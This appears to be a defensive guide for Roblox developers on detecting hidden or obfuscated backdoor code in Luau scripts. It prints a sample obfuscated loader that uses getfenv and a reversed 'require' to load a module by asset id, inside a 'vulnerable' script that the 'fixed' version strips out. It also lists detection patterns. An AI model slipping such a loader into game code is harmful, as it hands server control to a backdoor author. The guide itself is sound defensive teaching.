How to spot hidden or obfuscated code in your game
Code pushed off-screen, strings built from character codes and getfenv lookups are common signs of a backdoor. How to find them and clean them out.
What it looks like
Part of a script is written so a person reading it can't see what it does: code pushed far to the right on a long line, strings built from character codes or escapes, names read back to front, or getfenv used to look up functions by name.
Luau
getfenv()[string.reverse("eriuqer")](id)How to detect it
- Scan every script for very long lines, especially ones where code starts after a large run of spaces or tabs. Check the end of every line, not just the start.
- Look for
getfenv,setfenv,string.charchains,string.reverse, long runs of\dddescapes,string.byteloops that decode text, and large unreadable strings or tables of numbers. - Decode what you can by reading it, without running it. Decide what the hidden part does, and report that too, such as an Module loaded by asset id or Code run from strings finding.
- If it can't be decoded by reading, report it as a finding that needs a closer look. Hidden code in a game script has no good reason to be there.
What an exploiter could do
Hidden code is almost always there to avoid being noticed. It usually loads a backdoor that gives its author control of the server: admin powers, hidden remotes, the ability to run any code or to shut servers down.
How to fix it
- Delete the hidden part, or the whole script if it came from a free model, then look for anything it may have created, such as extra remotes or scripts.
- Search the rest of the game for the same tricks. Backdoors are often copied into several places.
- Replace free models with ones you've checked, or build the part yourself.
Vulnerable example
Vulnerable
local Players = game:GetService("Players") Players.PlayerAdded:Connect(function(player) player:SetAttribute("Joined", os.time()) end) local f = getfenv() f[string.reverse("eriuqer")](tonumber("98" .. "76543210"))
Fixed example
Fixed
local Players = game:GetService("Players") Players.PlayerAdded:Connect(function(player) player:SetAttribute("Joined", os.time()) end)
Common false positives
- Minified code from a well-known library, kept in its own module and matching the library's published source, isn't hidden. Note it if it can't be compared.
string.charor escapes used for one obvious character, such as a newline or an emoji, aren't hiding anything.- Long lines of ordinary data, like a lookup table, are fine when every part of them is readable.